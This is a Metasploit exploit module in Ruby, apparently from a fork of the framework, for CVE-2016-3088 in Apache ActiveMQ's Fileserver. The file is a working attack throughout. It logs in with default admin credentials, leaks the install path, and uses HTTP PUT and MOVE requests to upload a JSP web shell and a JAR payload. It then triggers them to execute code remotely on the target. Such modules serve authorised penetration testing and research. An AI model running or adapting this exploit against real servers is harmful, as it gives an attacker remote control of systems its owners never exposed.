Files
metasploit-gs/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
T
2025-06-24 11:21:49 +01:00

163 lines
5.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ActiveMQ web shell upload',
'Description' => %q{
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
allows remote attackers to upload and execute arbitrary files via an
HTTP PUT followed by an HTTP MOVE request.
},
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2016-3088' ],
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
],
'Privileged' => true,
'Platform' => %w{java linux win},
'Targets' => [
[
'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[
'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => '2016-06-01',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
Opt::RPORT(8161)
]
)
register_advanced_options(
[
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
]
)
end
def jsp_text(payload_name)
%{
<%@ page import="java.io.*"
%><%@ page import="java.net.*"
%><%
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
Class c = cl.loadClass("metasploit.Payload");
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>}
end
def exploit
jar_payload = payload.encoded_jar.pack
payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
paths = get_upload_paths
paths.each do |path|
if try_upload(path, jar_payload, payload_name)
break handler if trigger_payload(payload_name)
print_error('Unable to trigger payload')
end
end
end
def try_upload(path, jar_payload, payload_name)
['.jar', '.jsp'].each do |ext|
file_name = payload_name + ext
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
upload_uri = normalize_uri('fileserver', file_name)
print_status("Uploading #{move_headers['Destination']}")
register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
@trigger_resource = /webapps(.*)/.match(path)[1]
end
true
end
def get_upload_paths
base_path = "#{get_install_path}/webapps"
custom_path = datastore['UploadPath']
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
[ "#{base_path}/api/", "#{base_path}/admin/" ]
end
def get_install_path
properties_page = send_request('GET', "#{@url}/admin/test/")
fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
properties_page = properties_page.body
match = properties_page.match(/activemq\.home=([^,}]+)/)
return match[1] unless match.nil?
end
def send_request(method, uri, expected_response = 200, opts = {})
opts['headers'] ||= {}
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
opts['headers']['Connection'] = 'close'
r = send_request_cgi(
{
'method' => method,
'uri' => uri
}.merge(opts)
)
if r.nil?
fail_with(Failure::Unreachable, 'Could not reach the target!')
end
return false if expected_response != r.code.to_i
r
end
def trigger_payload(payload_name)
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
end
def error_out
print_error('Upload failed')
@trigger_resource = nil
false
end
end